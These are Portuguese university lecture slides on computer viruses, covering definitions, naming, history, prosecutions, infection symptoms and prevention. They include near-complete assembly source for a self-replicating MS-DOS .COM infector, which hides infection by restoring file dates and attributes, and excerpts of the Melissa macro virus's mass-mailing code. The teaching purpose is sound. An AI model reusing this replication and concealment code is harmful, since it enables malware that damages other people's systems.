Criptografia e Segurança das Comunicações Virus informáticos Prof RG Crespo Criptografia e Segurança das Comunicações Virus : 1/47 Definições (1) • Virus: segmento de código (200B-4KB), que se copia num programa hospedeiro (“host”), quando este é activado. Nota: os virus não infectam ficheiros de dados, embora alguns possam ser interpretados (ex: Email pelo Outlook Express). • Cavalo de Troia (“Trojan horse”): programa com funções, frequentemente destrutivas, não conhecidas pelo utilizador – Bomba temporal: funções activadas por data – Bomba lógica: funções activadas por condições • Verme (“Worm”): programa que se duplica a si próprio, sem infectar outros. Os vermes replicam-se na Internet, sobrecarregando-a. Prof RG Crespo Criptografia e Segurança das Comunicações Virus : 2/47 Definições (2) • Spyware – programas que reconhem informação (comandos, senhas de passe,…) que é enviada pela Internet. • CM2 (“Malicious Mobile Code”): programas desenhados para se moverem entre computadores, por redes, a fim de modificar sistemas sem conhecimento dos operadores. • SPAM1 – correio não solicitado. 1 Marca de carne enlatada, da empresa Hormel, acrónimo de Shoulder of Pork and hAM. Prof RG Crespo Criptografia e Segurança das Comunicações Virus : 3/47 Identificação de virus (1) As identificações iniciais usavam critérios “ad-hoc”, uma vez que os criadores são frequentemente desconhecidos. • Local onde foi detectado pela 1ª vez (ex: Leigh, Alameda). • Cadeia de caracteres existente no código (ex: Brain, Melissa, AnaKournikova) • Numero de Bytes de incremento do programa infectado (ex: 1704, 1280) • Associações extemporânias (Code Red é uma bebida energética que os analistas tomaram na altura do combate ao virus) • … Prof RG Crespo Criptografia e Segurança das Comunicações Virus : 4/47 Identificação de virus (2) • A descrição dos virus detectados mensalmente publicada em http://www.wildlist.org • Em 1991, a CARO-Computer Antivirus Research Org, adoptou uma metologia para as designações – Formato: Familia.Grupo.VarMaior.VarMenor.Modificador – Campos cada vez mais específicos, sendo obrigatórios à esquerda Exemplo: W97.Melissa.AA Primeira variante Word 97 Macro Prof RG Crespo Criptografia e Segurança das Comunicações Virus : 5/47 Identificação de virus (3) Código de algumas famílias de virus Prefixo Descrição BAT DOS batch Boot sector “boot” do DOS HLL Linguagem de programação (Java, JS-JavaScript, VBSVisual Basic Script) TRO Cavalo de Troia W32 Todas as plataformas Windows 32 (Win 2000,NT,XP) W64 Plataforma Windows IA64 WM Word macro XM Excel macro Prof RG Crespo Criptografia e Segurança das Comunicações Virus : 6/47 História (1) Curiosidade, não faz parte da avaliação [Nov83] Fred Cohen, estudante de Doutoramento em EE na University of Southern California, imagina, numa disciplina sobre segurança, um programa que tome conta de um computador. Implementa-o num VAX 11/470, a correr Unix, que toma conta dele numa hora1. O orientador, Prof. Adelman, sugere o nome de “virus”. [1982] Primeiro virus conhecido, no sector boot de uma diskette do Apple II contendo o jogo Elk Cloner. No 50º “boot” imprime uma mensagem no terminal. [Jan85] Primeiras infecções em PCs: Leigh-Universidade onde Cohen ensinava, e o cavalo de Troia Brian-produzido no Paquistão (autores indicados no código). [1987] Detectado o virus Jerusalem na Hebrew University, que aumenta sempre ficheiros .COM e .EXE e destroi todos os programas a correr na 6ª-feira, 13. Primeiro virus a atrair atenção na comunicação social. 1Fred Cohen, Computer Viruses-Theory and Experiments, Computers & Security: 6(1), 22-35; 1987 Prof RG Crespo Criptografia e Segurança das Comunicações Virus : 7/47 História (2) Curiosidade, não faz parte da avaliação [Nov88] Primeiro verme detectado, Morris Internet Worm, afectando VAX e Sun3 com Unix 4 BSD. [89-92] Geração de vários virus em Sofia/Bulgária, incluindo o DAME (Dark Avenger’s Mutating Engine, ou MTE, uma ferramenta de apoio à geração de novos virus). [Ago95] MicroSoft distribui, a centenas de produtores de software, o CD Windows 95 Software Compatability Test com o virus WM.Concept [Jun97] Publicado programa “winnuke.c”, que envia para o porto 139 lixo e o Win95 do outro lado crasha. [Ago98] Lançado o primeiro virus de Java, o Strange Brew. [1999] Lançado primeiro “spyware” no jogo gratuito Elf Bowling. [Mar99] Lançado o primeiro verme de Email, o Melissa. Prof RG Crespo Criptografia e Segurança das Comunicações Virus : 8/47 História (3) Curiosidade, não faz parte da avaliação [Jun00] Cavalo de Troia Timfonica, em Visual Basic, infecta na Espanha PCs para enviar mensagens a telemóveis: para além do manifesto anti-monopólio, apaga parameterizações. [Jul01] O verme Code Red replicou-se mais de 250 mil vezes, em 9 horas, no dia 21 de Julho. [Set01] Lançado o primeiro cavalo de Troia contra o Palm OS, o Liberty crack. [Jan03] O verme W32.Slam, explorando uma falha no servidor SQL da MicroSoft, arrancou em Hong-Kong no dia 25 de Janeiro e bloqueou 5 dos 13 servidores da Internet em 15 minutos. Tinha apenas 376B! [Mai04] Lançado o primeiro virus conceptual do Win64, o W64.Rugrat.3344 [Jul07] Lançado verme W32.Deletemusic, que elimina todos os ficheiros MP3. Prof RG Crespo Criptografia e Segurança das Comunicações Virus : 9/47 Efeitos de virus (1) • Graves prejuizos economicos na quebra do desempenho da Internet (ex: o Slammer causou prejuízos estimados em 2 biliões de USD-a Continental Airlines teve de encerrar o “hub” de Newark). • Criação de muitas empresas de eliminação de virus (McAFee, Norton, Panda,…). • Incentivam desenvolvimento de protecções (“Firewalls”,…) e descoberta/ eliminação de falhas (“loopholes”). • Os virus/vermes têm sido sido detectados em muitos ambientes – Microcomputadores (MSDOS, Windows, Macintosh,…) – “Routers” da Internet – Telemóveis, PDAs Prof RG Crespo Criptografia e Segurança das Comunicações Virus : 10/47 Efeitos de virus (2) Curiosidade, não faz parte da avaliação • Em 2007 encontravam-se registados 1.1 milhões, muitos deles variantes (relatório Symantec). • Diversos estados (EUA,GB,*…) publicaram leis contra a produção e difusão de virus. Já foram condenados criadores de virus/vermes [Mai95] Primeiro condenado na GB pela criação de virus, a 18 meses de detenção. [Fev98] Criador do Morris Internet Worm suspenso, durante 1 ano, da Cornell University de Ithaca/NY. [Set01] Criador do VBS.VBSWG.J@MM , ou AnaKournikova, condenado na Holanda a 75 dias de prisão. * Portugal em Outubro 2009. Prof RG Crespo Criptografia e Segurança das Comunicações Virus : 11/47 Efeitos de virus (3) Curiosidade, não faz parte da avaliação [Mai02] Criador do Melissa condenado, no estado de New Jersey, a 20 meses de prisão. [Jul04] Criador do cavalo de Troia W32.Carbonator condenado, em Espanha, a 2 anos de prisão. O virus foi disponibilizado numa pagina Web com instruções para seu uso: uma vez carregado, permitia ao criador do Carbonator aceder aos dados do computador infectado. [Abr05] Criador de distribuidor de Email spam, Jeremy Janes, condenado a 9 anos de prisão no estado de Virginia. [Jan06] James McCalla condenado por tribunal de Illinois a pagar 11.2 biliões de USD a Midwest ISP, por envio de 280 milhões de Email spam. Prof RG Crespo Criptografia e Segurança das Comunicações Virus : 12/47 Efeitos de virus (4) • Sintomas de infecções virais – Alterações inesperadas do comprimento de ficheiros (especialmente executáveis). – Programas a demorar mais tempo a iniciar, ou correr mais lentamente. – Tentativas, sem razão aparente, de escrita em meio “writeprotected”. – Diminuição inesperada de memória de disco, ou aumento de “badsectors” nos discos. – Ficheiros a desaparecer, ou serem criados, misteriosamente. – “Reboot” inesperado com programas correctos a executar. – Carga anormal de redes locais, especialmente quando cópias multiplas dos mesmos dados são enviados. Prof RG Crespo Criptografia e Segurança das Comunicações Virus : 13/47 Etapas de um virus (1) • As etapas mais importantes na vida de um virus são: – Activação – Replicação (“spread”) – Manipulação (opcional, ex: alteração de dados no disco, mensagens no ecran, “reboot”,…) Nota 1: Os criadores de virus pretendem que a activação e a replicação sejam automáticas e invisíveis (sem intervenção directa, nem conhecimento do operador). Nota 2: Um verme não necessita da intervenção do operador para se replicar. Prof RG Crespo Criptografia e Segurança das Comunicações Virus : 14/47 Etapas de um virus (2) • Os sistemas operativos iniciais (MSDOS,…), muito simples, não possuiam protecções contra virus. • Sistemas operativos mais protegidos (Win32,MacOS,…), não são invioláveis: apesar de mais complexos, falhas continuam a ser exploradas. • Nesta disciplina são analisados, com algum detalhe, alguns virus/vermes – Brain, Melissa – Morris Internet Worm, Slammer • Nesta disciplina é implementado em MSDOS um vírus informático inofensivo. Prof RG Crespo Criptografia e Segurança das Comunicações Virus : 15/47 Formas de adição no hospedeiro • Incremento (“add-on”): o virus é inserido no fim, ou no início do hospedeiro, e o arranque do hospedeiro é alterado por forma que o virus seja executado primeiro. É a forma mais seguida pelos criadores de virus. • Concha (“shell’): o virus torna-se o programa principal e o hospedeiro torna-se subrotina do virus. • Intrusivo: parte do código do hospedeiro é substituído pelo virus. Prof RG Crespo Criptografia e Segurança das Comunicações Virus : 16/47 MSDOS: Activação • A activação pode ser feita – Automaticamente no arranque do sistema: activação ocorre sempre! – No programa infectado (.COM ou .EXE): activação só ocorre quando o programa infectado é activado. O MSDOS, ao carregar um programa (.COM ou .EXE), cria na base um espaço de 0100H denominado PSP-Program Segment Prefix. • Diferenças nos formatos dos ficheiros de “boot”, .COM e .EXE levam que os virus sejam específicos a ficheiros tipo e a sistema operativo. • Nesta disciplina são abordadas duas formas de replicação: – Ficheiro .COM – Macros Prof RG Crespo Criptografia e Segurança das Comunicações Virus : 17/47 Replicação COM-memória (1) • Nos ficheiros .COM, código, dados e pilha estão no mesmo segmento (logo, obrigatoriamente menores que 64KB). • Os programas podem ser colocados em qualquer endereço da zona de RAM denominada TPA-Transient Program Area. Início do programa 64K PSP Código + Dados .COM Virus TPA A Basic Virus Writing Primer, Chili, Assembly Programming Journal 1(4); Apr 1999 Prof RG Crespo Criptografia e Segurança das Comunicações Virus : 18/47 Replicação COM-memória (2) • No MSDOS, programas .COM ou .EXE são colocados depois do PSP-Program Segment Prefix (0100H) • Depois de carregado o ficheiro .COM, o MSDOS inicializa os seguintes registos antes de iniciar a execução – – – – – AX = BX = CX = DX = 00000H BP = 0100H SP = 0FFFFH DS,ES,SS,CS = segmento onde é instalado o programa IP = 0100H Prof RG Crespo Criptografia e Segurança das Comunicações Virus : 19/47 Replicação COM-int 21h (1) Curiosidade, não faz parte da avaliação Operações sobre ficheiros com INT 21h e função no AH Cod. Objectivo Parâmetros Retorno 01H Lê caractere do teclado --- AL-caractere 02H Escreve caractere na consola DL-caractere --- 09H Imprime cadeia de caracteres DS:DX-endereço de cadeia (1) --- 01H Lê caractere do teclado sem ecoar --- AL-caractere 1AH Transferir local do DTA DS:DX-novo endereço --- 3DH Abertura de um ficheiro AL-modo de acesso DS:DX-endereço de nome (2) Sucesso c/ carry=0 AX-descritor fich 3EH BX-descritor ficheiro Sucesso c/ carry=0 1) 2) Fecho de um ficheiro – cadeia de caracteres terminada por ‘$’ – cadeia de caracteres terminada pelo Byte 0 Prof RG Crespo Criptografia e Segurança das Comunicações Virus : 20/47 Replicação COM-int 21h (2) Curiosidade, não faz parte da avaliação Cod. Objectivo 3FH Leitura de um ficheiro BX-descritor ficheiro CX-numero Bytes a ler DS:DX-endereço de memória Sucesso c/ carry=0 AX-Bytes lidos 40H Escrita de um ficheiro BX-descritor ficheiro CX-numero Bytes a escrever DS:DX-endereço de memória Sucesso c/ carry=0 AX-Bytes escritos 42H Alterar posição no fich AL-origem do movimento BX-descritor ficheiro CX,DX-deslocamento Sucesso c/ carry=0 DX,AX-deslocamento efectuado 43H Obter/alterar atributos AL-00(get), 01(set) CX-atributos Sucesso c/ carry=0 CX-atributos (se AL=0) Prof RG Crespo Parâmetros Retorno Criptografia e Segurança das Comunicações Virus : 21/47 Replicação COM-int 21h (3) Curiosidade, não faz parte da avaliação Cod. Objectivo Parâmetros Retorno 4CH Termina programa AL-código retorno --- 4EH Procura primeiro ficheiro numa directoria CX-tipo de ficheiro DS,DX-endereço da “template” Sucesso c/ carry=0 DTA 4FH Procura ficheiro seguinte DS,DX- “template” anterior Sucesso c/ carry=0 57H (3) Obter/alterar data de última alteração AL-00(get), 01(set) BX- descritor ficheiro DX-data, CX-hora (se AL=01) Sucesso c/ carry=0 DX-data CX-hora (se AL=00) 3) Só para MSDOS 4+ Prof RG Crespo Criptografia e Segurança das Comunicações Virus : 22/47 Replicação COM-int 21h (4) 00H 15H 16H 43B 18H 1AH 1EH • Estrutura do DTA preenchido pela função 4EH reservado atributos do ficheiro hora data dimensão do ficheiro nome do ficheiro 2AH Nota: DTA pode igualmente guardar a linha de comandos, nesse caso são necessários 128B Prof RG Crespo Criptografia e Segurança das Comunicações Virus : 23/47 Replicação COM-passos (1) Um virus .COM, infecta outro ficheiro seguindo os passos 1. Copia, para o fim do ficheiro a infectar, o código 2. Copia para o novo final, os 3 primeiros Bytes do ficheiro a infectar. 3. Substitui os 3 primeiros Bytes por um “JUMP” para o código viral. 4. No final do código viral: • • • Obtém o endereço do PSP, pelo INT 21H-função 062H. Copia os 3 Bytes salvaguardados para PSP+0100H Executa um “JUMP” para PSP+0100H Prof RG Crespo Criptografia e Segurança das Comunicações Virus : 24/47 Replicação COM-passos (2) • Para que o utilizador não desconfie dos acessos, os criadores de virus seguem os seguintes passos: – Se o alvo estiver “write-protected”, retirar a protecção e restabelecê-la no fim. – Antes de escrever no ficheiro alvo, guardar a data da última modificação, e restaurar a data depois de escrever no ficheiro alvo. Prof RG Crespo Criptografia e Segurança das Comunicações Virus : 25/47 Replicação COM-variáveis (1) • Problema: Nas instruções de salto, os endereços são relativos ao 1º Byte depois da instrução. Em Asm86, os endereços das variáveis são absolutos, dentro de DS. No entanto, a posição dos dados da parte viral depende do hospedeiro. Como saber a posição das variáveis (exemplo, para guardar os 3 Bytes iniciais do ficheiro a infectar)? Código Dados Código Dados Hosp. A Hosp. A virus virus Código Dados Código Dados Hosp. B Hosp. B virus virus Prof RG Crespo Criptografia e Segurança das Comunicações Virus : 26/47 Replicação COM-variáveis (2) Solução: O código dos virus é de tamanho sempre igual, e as variáveis do virus estão depois do código. Assim, o código do vírus tem de recolher no início o deslocamento relativo da sua parte de código. Start_virus: ; chama a instrução seguinte, logo IP é carregado na pilha call Here Here: pop bp ; recolhe endereço para o BP sub bp, offset Here ; subtrai espaço da parte inicial(call Here) • No código do virus, as suas variáveis são sempre acedidas por endereçamento base na forma [BP+offset var] Deslocamento da variável dentro do virus Deslocamento no hospedeiro Prof RG Crespo Criptografia e Segurança das Comunicações Virus : 27/47 Replicação COM-restauro • O hospedeiro tem os 3 primeiros Bytes, em 100h, substituidos pelo salto para o código do virus. • O virus alterar os 3 primeiros Bytes duas vezes – ao infectar um programa, começa por guardar o conteúdo dos 3 primeiros Bytes desse programa na variável fst_three. – No final o virus restabelece esses 3 Bytes, com instruções MOVS, para que depois o programa original possa ser executado sem que o utilizador suspeite da infecção. mov di,100H ; [ES]:DI aponta destino push di lea si,[bp+offset fst_three] cld ; reset direction flag para incrementos no DI e SI movsb movsw Prof RG Crespo Criptografia e Segurança das Comunicações Virus : 28/47 Replicação COM-código (1) .model tiny ; modelo .COM .code ; org 100H ; deixa espaço para PSP ; Restaura 3 primeiros Bytes do hospedeiro Start: ; db 0E9H ; instrução de salto mov di,100H ; [ES]:DI aponta destino dw 0 ; no lançador é zero, noutros push di ; casos determina-se depois lea si,[bp+offset fst_three] ; cld ; reset direction flag para ; Obtem, no BP, o espaço do hospedeiro ; increments no DI e no SI movsb ; movsw Start_virus: call Here Here: pop bp sub bp, offset Here Prof RG Crespo Criptografia e Segurança das Comunicações Virus : 29/47 Replicação COM-código (2) • • No PSP, a área acima de 80H (DTA-Disk Transfer Area) é usada pelo INT 21 para guardar dados. No arranque do programa, em 80H estão guardados os parâmetros da linha de comando. Logo, o virus tem de guardar esses dados antes de qualquer acesso a disco. lea dx,[bp+offset dta] $Set_dta Prof RG Crespo Criptografia e Segurança das Comunicações Virus : 30/47 Replicação COM-código (3) ; ; Procura um ficheiro para infectar ; mov ah,4eh ; Find_next: lea dx,[bp+offset template] mov cx,3fh ; todos os tipos de ficheiro int 21h jnc Found_one jmp Quit ; ; Abre ficheiro alvo ; Found_one: mov al,0 ; recolhe atributos $Get_set_attrib mov [bp+offset file_attrib],cx test cx,1 je Attrib_ok acesso ; está em “write-protected”, tem de alterar modo de dec cx mov al,1 $Get_set_attrib ; Attrib_ok: mov mov leitura/escrita int jnc call restabelece atr mov jmp Prof RG Crespo ah,3dh al,2h ; acesso 21h Opened Restore_attrib ; falhou, ah,4fh ; tenta outro Find_next Criptografia e Segurança das Comunicações Virus : 31/47 Replicação COM-código (4) Opened: xchg ax,bx ; desloca descritor para BX ; ; Lê data da última alteração do ficheiro ; mov al,0 $Get_set_date mov [bp+offset time],cx mov [bp+offset date],dx Prof RG Crespo ; ; Lê e guarda 3 primeiros Bytes ; mov lea mov int jnc call mov jmp ah,03Fh dx,[bp+offset fst_three] cx,3 21h Check_size Restore_date ah,4fh ; tenta outro Find_next Criptografia e Segurança das Comunicações Virus : 32/47 Replicação COM-código (5) Problema: Os virus .COM possuem o inconveniente de provocar o aumento do programa (ex: o virus Jerusalem não tinha assinatura, e cada infecção aumenta o programa em 1813B). Não há interesse em infectar um hospedeiro já infectado. Solução: Verificar se o ficheiro já foi infectado, comparando dimensões do virus (código + dados). Prof RG Crespo Criptografia e Segurança das Comunicações Virus : 33/47 Replicação COM-código (6) Check_size: ; se tamanho dos dois ficheiros for igual, o alvo já deve estar infectado mov ax,word ptr[bp+offset F_Size] mov cx,word ptr[bp+offset fst_three+1] add cx,End_virus-Start_virus+3 cmp ax,cx jnz Uninfected call Restore_date mov ah,4fh ; tenta outro jmp Find_next ; ; Yum-yum, um candidato à infecção! Vamos a ele…. ; Uninfected: ; calcular deslocamento para o JMP no ficheiro alvo sub ax,3 mov word ptr [bp+offset jmp_offset],ax Prof RG Crespo Criptografia e Segurança das Comunicações Virus : 34/47 Replicação COM-código (7) ; ; ; Posiciona-se no inicio do fich alvo ; copia virus ; ; Copy: mov al,0h $Move_file_ptr ; ; Escreve 3 primeiros Bytes ; mov cx,3 lea dx,[bp+offset jmp_inst] $Write_to_file jnc Copy call Restore_date mov ah,4fh ; tenta outro jmp Find_next Prof RG Crespo mov al,2 ; posicionar no fim $Move_file_ptr ; copiar o corpo principal do virus mov cx,End_virus-Start_virus lea dx,[bp+offset Start_virus] $Write_to_file ; ; Restabelece DTA e data do hospedeiro ; mov dx,80h $Set_dta call Restore_date Criptografia e Segurança das Comunicações Virus : 35/47 Replicação COM-código (8) ; ; Restaura registos e regressa ;ao programa infectado ; mov mov mov mov mov mov mov retn ax,0 bx,0 cx,0 dx,0 bp,0 si,0 di,0 ; ; NOTA:ORDEM DAS ROTINAS ; Restore_date, Restore_attrib, Close ; NÃO PODE SER ALTERADA ; Prof RG Crespo Restore_date: ; restaura data/dia mov al,01h mov cx,[bp+offset time] mov dx,[bp+offset date] $Get_set_date ; restaura atributos mov cx,[bp+offset file_attrib] mov al,1 $Get_set_attrib Restore_attrib: Close: ; fecha alvo mov ah,03eh int 21h retn Criptografia e Segurança das Comunicações Virus : 36/47 Replicação COM-código (9) ; ; DADOS A RESIDIR NO FICHEIRO ALVO ; template db "disp?.com",0 fst_three db 0cdh,20h,0 ;INT 20 virus_name db "[Demo]",0 author db "Nobody",0 jmp_inst db 0e9h ; End_virus equ $ ; ; DADOS A RESIDIR NO FICHEIRO INFECTADO ; jmp_offset dw ? dta: Reserv db 21 dup(?) F_Attr db ? F_Time dw ? F_Date dw ? F_Size dd ? F_Name db 13 dup(?) date dw ? time dw ? file_attrib dw ? _code Manter ordem nas declarações de dados! Prof RG Crespo ends end _start Criptografia e Segurança das Comunicações Virus : 37/47 Replicação COM-código (10) ; ; MACROS ; $Write_to_file MACRO mov ah,40h int 21h ENDM $Set_dta MACRO mov ah,1ah int 21h ENDM $Get_set_attrib MACRO lea dx,[bp+offset dta+1eh] mov ah,43h int 21h ENDM Prof RG Crespo $Get_set_date mov int ENDM $Move_file_ptr mov mov mov int ENDM Criptografia e Segurança das Comunicações MACRO ah,57h 21h MACRO cx,0 dx,0 ah,42h 21h Virus : 38/47 Virus por macros (1) • Diversas ferramentas permitem processar dados, por macros. As macros, escritas em linguagens de alto nível (mais fáceis de usar), podem ser associadas aos ficheiros. • Os dados são enviados em diskettes, CDs ou pela Internet (email, ftp, WWW) – A ferramenta Outlook Express processa macros inseridos no Email. – A ferramenta Word (Excel) processa macros inseridas em documentos (folhas de cálculo). • Algumas macros podem ser executadas automaticamente pela ferramenta, sem conhecimento directo do utilizador. Prof RG Crespo Criptografia e Segurança das Comunicações Virus : 39/47 Virus por macros (2) • Em 1993, a Microsoft passou a usar a linguagem de macros VBA - Visual Basic for Applications para empresas adaptarem aplicações da MS (Word, Excel, Outlook, FrontPage,…). • Listagem de macros efectuada no menu Tools, comando Macro (Alt-F8). Edição de macros efectuada pelo Visual Basic Editor (Alt-F11). Prof RG Crespo Criptografia e Segurança das Comunicações Virus : 40/47 Virus por macros (3) Ciclo de vida • As etapas dos virus por macros são semelhantes às etapas dos virus de código: activação, replicação e manipulação. 1. Utilizador abre o documento infectado. 2. Ferramenta carrega as macros. 3. Macros são automaticamente executadas, contendo instruções de replicação. Por exemplo, o documento infectado é enviado por Email a endereços armazenados no computador. Prof RG Crespo Criptografia e Segurança das Comunicações Virus : 41/47 Virus por macros (4) Curiosidade, não faz parte da avaliação Virus Melissa • W97M virus, lançado em Março de 99. – Macro designado por Melissa – Registo HKEY_CURRENT_USER\Software\Microsoft\Office\Melissa? fica com valor Kwyjibo, para o virus confirmar se o PC já se encontra infectado • Procura 50 endereços de Email, enviando mensagem infectada {user name} do PC infectado – Subject: Important Message From {user name} – Conteúdo: Here is that document you asked for . . . don't show anyone else :-) – Attachment: documento activo infectado Prof RG Crespo Criptografia e Segurança das Comunicações Virus : 42/47 Virus por macros (5) Curiosidade, não faz parte da avaliação • Se dia e minuto forem iguais (ex: dia 30 às 0:30), insere na corrente localização do documento a frase Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here. ; cria instância do Outlook SET UngaDasOutlook = CreateObject("Outlook.Application") ; verifica se computador ainda não foi infectado IF System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\","Melissa") <> "... by Kwyjibo" THEN ; verifica se o servidor de Email é o Outlook IF UngaDasOutlook="Outlook" THEN Prof RG Crespo Criptografia e Segurança das Comunicações Virus : 43/47 Virus por macros (6) Curiosidade, não faz parte da avaliação ; recolhe identificador do utilizador e passwd DasMapiName.Logon "profile" "password" ; recolhe endereços armazenados FOR y=1 TO DasMapiName.AddressLists.Count SET AddyBook = DasMapiName.AddressLists(y) x = 1 SET BreakUmOffASlice = UngaDasOutlook.CreateItem(0) FOR oo=1 TO AddyBook.AddressEntries.Count Peep = AddyBook.AddressEntries(x) BreakUmOffASlice.Recipients.Add Peep x = x +1 IF x>50 THEN oo= AddyBook.AddressEntries.Count NEXT oo ; envia email infectado Prof RG Crespo Criptografia e Segurança das Comunicações Virus : 44/47 Virus por macros (7) Curiosidade, não faz parte da avaliação • Depois, o virus verifica o documento activo é normal ou um padrão Normal.dot. – Se for documento normal, infecta o padrão Normal.dot com a macro Document_Close (a correr sempre que o documento é fechado). – Se for o padrão Normal.dot, infecta o documento activo com a macro Document_Open (a correr sempre que o documento é aberto). O Word trabalha sobre dois tipos de ficheiros: – Documento propriamente dito (.doc) – Padrão (“template”), com as formatações/margens/ … O padrão Normal.dot, é o de omissão do Word e é alvo favorito dos criadores de virus. Prof RG Crespo Criptografia e Segurança das Comunicações Virus : 45/47 Assinaturas • Para evitar multiplas infecções, os virus possuem mecanismos de reconhecimento. Existem dois locais onde são inseridas assinaturas: – Ficheiro: cadeias específicas (“scan strings”) em locais designados – Memória: na activação são instaladas funções próprias do virus (ex: Cascade tem função no endereço 04BFFH, devolve 055AH no registo DI). • Os mecanismos de reconhecimento são uma preciosa ajuda para os detectores de virus. Prof RG Crespo Criptografia e Segurança das Comunicações Virus : 46/47 Regras básicas para evitar virus • • • • Não abrir email “estranhos”. Desconfiar de sites gratuitos. Instalar programas apenas de vendedores seguros. Configurar bloqueador “popup” no navegador (Firefox, IE, Google Toolbar). • Usar e manter actualizado um AV. – MacAfee, Panda,... – Actualizar periodicamente definições de virus (melhor ainda, configurar Live update) Prof RG Crespo Criptografia e Segurança das Comunicações Virus : 47/47